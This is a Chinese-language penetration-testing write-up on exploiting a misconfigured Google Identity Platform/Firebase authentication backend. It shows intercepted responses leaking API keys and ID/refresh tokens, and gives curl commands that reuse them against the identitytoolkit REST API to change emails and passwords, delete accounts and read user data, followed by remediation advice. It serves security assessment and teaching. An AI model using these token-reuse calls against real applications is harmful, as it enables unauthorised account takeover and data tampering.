利用Google Cloud Identity Platform 中的弱配置
與 Amazon Cognito 類似,Google Cloud Platform 托管了一項名為 Identity Platform 的服務。Identity Platform 是一個客戶身份和訪問管理 (CIAM) 平臺,可幫助組織為其應用程序添加身份和訪問管理功能、保護用戶帳戶并在 Google Cloud 上放心使用。
在我們的 Web 應用程序安全評估活動期間,我們遇到了一些使用Identity Platform的應用程序。通常,應用程序中經過身份驗證的用戶通常應僅被授權訪問 Web 應用程序提供的功能。通常不應該允許用戶在 Firebase 身份驗證后端系統上直接查詢。但是,我們發現了一個 Web 應用程序,該應用程序允許其用戶使用從服務器響應中檢索到的 API 密鑰和 Firebase 身份驗證令牌在 Firebase 身份驗證后端運行搜索、更新和刪除查詢。
下圖是包含泄漏令牌的響應包

在我們繼續使用身份平臺之前,了解Firebase和身份平臺之間的緊密關系十分重要。
Firebase和Identity platform是兩種不同的服務,但事實證明,Identity Platform是利用Firebase進行工作。
Jen Person 的介紹
我承認,確定Google Cloud和Firebase之間的關系是具有挑戰性的。我過于簡化的解釋是,Firebase是從客戶端應用程序訪問某些Google Cloud Platform產品的方式。特別是對于身份平臺,此解釋效果很好。借助 Firebase 身份驗證 SDK,您可以從客戶端應用訪問身份平臺功能。
將 Identity Platform 添加到 Google Cloud 項目時,系統會自動創建一個 Firebase 項目。這是Firebase/Cloud關系中難以理解的實例之一。當您開始創建 Firebase 項目時,這也是一個云項目,但云項目不一定是 Firebase 項目,除非您激活某些服務或將該項目導入 Firebase。— 作者 Jen Person

檢測配置錯誤的身份平臺
確定應用程序是否正在使用“googleapis.com”進行身份驗證。如果應用程序沒有安全編碼,那么您可能會在HTTP請求和響應中找到 googleapis.com 相關的API,“access_token”,“idToken”,“refresh_token”等。
接下來,請在HTML下保存并運行,并使用Burp Suite抓包工具捕獲HTTP請求和響應。您就會注意到響應包中apiKey、access_token 和 idToken三個參數。
在運行以下 HTML 之前,請為項目啟用并配置標識平臺,然后從“Identity Platform”儀表板復制“應用程序設置詳細信息”。有關使用標識平臺設置第一個項目的詳細文檔,請參閱參考資料中的鏈接。

以下是應用程序設置詳細信息

不要忘記在下面的 HTML 代碼中將 apiKey、authDomain、email 和 password 替換為您的值。
HTML Code
<html> <head> <title>Sample App</title> <script src="https://www.gstatic.com/firebasejs/8.2.6/firebase.js"></script> <script> var config = { apiKey: "AIzaSyCy-6G2SQQfWWC9AAXXXXXXXXXXXXXXXXX", authDomain: "login-page-XXXXXX.firebaseapp.com", }; firebase.initializeApp(config); </script> <script src="https://www.gstatic.com/firebasejs/ui/4.7.3/firebase-ui-auth.js"></script> <link type="text/css" rel="stylesheet" /> </head>
<body> <div>Identity Platform Quickstart</div> <div id="message">Loading...</div>
<script> var email = "example@gmail.com"; var password = "password"; firebase.auth().onAuthStateChanged(function(user) { if (user) { document.getElementById("message").innerHTML = "Welcome, " + user.email; } else { document.getElementById("message").innerHTML = "No user signed in."; } }); firebase.auth().signInWithEmailAndPassword(email, password).catch(function(error) { document.getElementById("message").innerHTML = error.message; }); </script> </body></html>
利用 FirebaseUI Demo App 中的漏洞

它允許用戶使用各種聯合身份登錄,例如Google,Facebook,Github等等。使用任何聯合身份登錄到此應用程序后。用戶可以注銷或刪除帳戶。

此應用程序節省了大量時間,因為它具有我們想要利用的錯誤配置,并且通過不開發新的整個應用程序進行實踐來幫助節省成本
我們將使用Burp Suite作為攔截代理工具來攔截泄露的令牌。配置 Burp Suite 并確保它攔截瀏覽器和應用程序服務器之間的流量。
使用Google Identity提供商登錄應用程序并監控Burp Suite HTTP歷史記錄流量。識別對關鍵參數'/identitytoolkit/v3/relyingparty/verifyAssertion?key=' 發出的 POST 請求
請求將如下所示
Request
POST /identitytoolkit/v3/relyingparty/verifyAssertion?key=AIzaSyBTOVItkDbx63M2vUxxxxxxxxxxxxx HTTP/1.1Host: www.googleapis.comUser-Agent: Mozilla/5.0 ….X-Firebase-Locale: en — -snipped — -{“requestUri”:”https://fir-ui-demo-84a6c.firebaseapp.com/__/auth/handler?state=AMbdmDlNfk0MbuThErLb3J1DkRoHg6CBmOWg7b7pu7gEq3mIqpmBzVdwBk-mDJ7Lvw1Cb95CQCelKeUwCzRGtExglSL9IYp4qy0mWsRn3JzBJF7LpuM6Vu3zwkUDUH-shxcj4ka5xI2HzlpwI---snipped---Response
Response
HTTP/1.1 200 OKPragma: no-cacheCache-Control: no-cache, no-store, max-age=0, must-revalidate---snipped---{"federatedId": "https://accounts.google.com/116382571503235019370",---snipped---"idToken": "eyJhbGciOiJSUzI1NiIsImtpZCI---snipped---F1BFA06dHakwWOR3ZXcP4SiPlKSvxlwcFQv9c_sc3V3I-OdVyeVW4Z_q3oVG1W2YpSCcxMUmpktA9z4Mz93NOQ3bDowywWxzXoCSt5Ldvv9DBGxLhChmCwGnpehKCyCNwg3DOMvB9u1pJr2ujX-f6LKiIdYavnQ","context": "","oauthAccessToken": "ya29.a0AfH6SMBsFmqQToht57xUgNDFZy....","oauthExpireIn": 3598,"refreshToken": "AOvuKvT-F3t4A54omiwFCJ2hctCb61W......","expiresIn": "3600","oauthIdToken": "eyJhbGciOiJSUzI1N.....UqZ39m-ZMOQPw",---snipped---
利用配置錯誤
復制請求中的 apiKey 值和響應中的 idToken 并運行以下 cURL 命令以發出 HTTP 請求以更改登錄用戶的電子郵件地址。該應用程序只允許用戶刪除或退出,但我們將運行以下 cURL 命令來更改不是授權請求的用戶電子郵件。
注意:參考參考資料中的谷歌云鏈接了解下面的 cURL
curl 'https://identitytoolkit.googleapis.com/v1/accounts:update?key=AIzaSyBTOVItkDbx63M2xxxxxxxxxxxxxxxxx' -H 'Content-Type: application/json' --data-binary '{"idToken":"eyJhbGci9iJSUgI1NiIsXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXQifQ.eyJuYW1lIjoiUGFua2FqIE1vdXJpeWEiLCJwaWN0dXJlIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EtL0FPXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXuY29tIjpbIjExNjM4MjU3MTUwMzIzNTAxOTM3MCJdLCJlbWFpbCI6WyJ1c2VyMjIyMjJAZ21haWwuY29tIl19LCJzaWduX2luX3Byb3ZpZGVyIjoiZ29vZ2xlLmNvbSJ9fQ.kjwZ6kufRXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXTU1RC0QN04sk9STeCX8UYKr1ffphydYrVma2n0B66NOvOOK01JsyufcTQ1iENaIrxl9CH0mc8PWplqSev37AeczdUC6NTKTzlG1Uj5Gusx2vN6M_x06JiC2oGdnYdRQJfcHHEiYA-mTDIzDn17pebXdJR5U-UgrUeytxG-mqsjwHYkU5N_Zv51gbQ","email":"bountyhunter@gmail.com","returnSecureToken":true}'
更新用戶電子郵件地址

Response

FirebaseUI 中的新電子郵件

假設應用程序使用類似功能僅用于身份驗證,但不允許用戶使用 Web 應用程序執行任何其他活動。擁apikey和 idToken的用戶仍然可以使用以下 cURL命令進行 REST API 調用并執行諸如“讀取”、“更新”、“創建”和“刪除”等操作。
若要了解有關常見用戶操作(如登錄用戶、刪除帳戶和使用令牌)的更多信息,請使用身份平臺 REST API,請參閱參考資料中的鏈接
- 通過向 Auth deleteAccount API發出 HTTP POST 請求來刪除當前用戶。
curl 'https://identitytoolkit.googleapis.com/v1/accounts:delete?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"idToken":"[FIREBASE_ID_TOKEN]"}'
- 通過向 Auth setAccountInfo API發出 HTTP POST 請求來更改用戶的電子郵件。
curl 'https://identitytoolkit.googleapis.com/v1/accounts:update?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"idToken":"[FIREBASE_ID_TOKEN]","email":"[user@example2.com]","returnSecureToken":true}'
- 通過向 Auth setAccountInfo 端點發出 HTTP POST 請求來更改用戶的密碼。
'{"idToken":"[FIREBASE_ID_TOKEN]","password":"[NEW_PASSWORD]","returnSecureToken":true}'
- 通過向 Auth setAccountInfo API發出 HTTP POST 請求來更新用戶的個人資料(顯示名稱/照片 URL)。
curl 'https://identitytoolkit.googleapis.com/v1/accounts:update?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"idToken":"[ID_TOKEN]","displayName":"[NAME]","photoUrl":"[URL]","returnSecureToken":true}'
- 通過向 Auth getAccountInfo API發出 HTTP POST 請求來獲取用戶的數據。
curl 'https://identitytoolkit.googleapis.com/v1/accounts:lookup?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"idToken":"[FIREBASE_ID_TOKEN]"}'
- 通過向 Auth setAccountInfo API發出 HTTP POST 請求,將電子郵件/密碼鏈接到當前用戶。
curl 'https://identitytoolkit.googleapis.com/v1/accounts:update?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"idToken":"[ID_TOKEN]","email":"[user@example.com]","password":"[PASS]","returnSecureToken":true}'
- 通過向 Auth verifyAssertion API發出 HTTP POST 請求,將 OAuth 憑據鏈接到用戶。
curl 'https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"postBody":"id_token=[GOOGLE_ID_TOKEN]&providerId=[google.com]","requestUri":"[http://localhost]","idToken":"[FIREBASE_ID_TOKEN]","returnIdpCredential":true,"returnSecureToken":true}'
修復方案
不要在服務器響應中返回不必要的數據,特別是如果它們本質上是敏感的,例如客戶端不直接使用的 API 密鑰和令牌。
如果服務器響應中必須包含敏感數據,則使用強加密算法對此類數據進行加密,并使用強加密密鑰保護機制。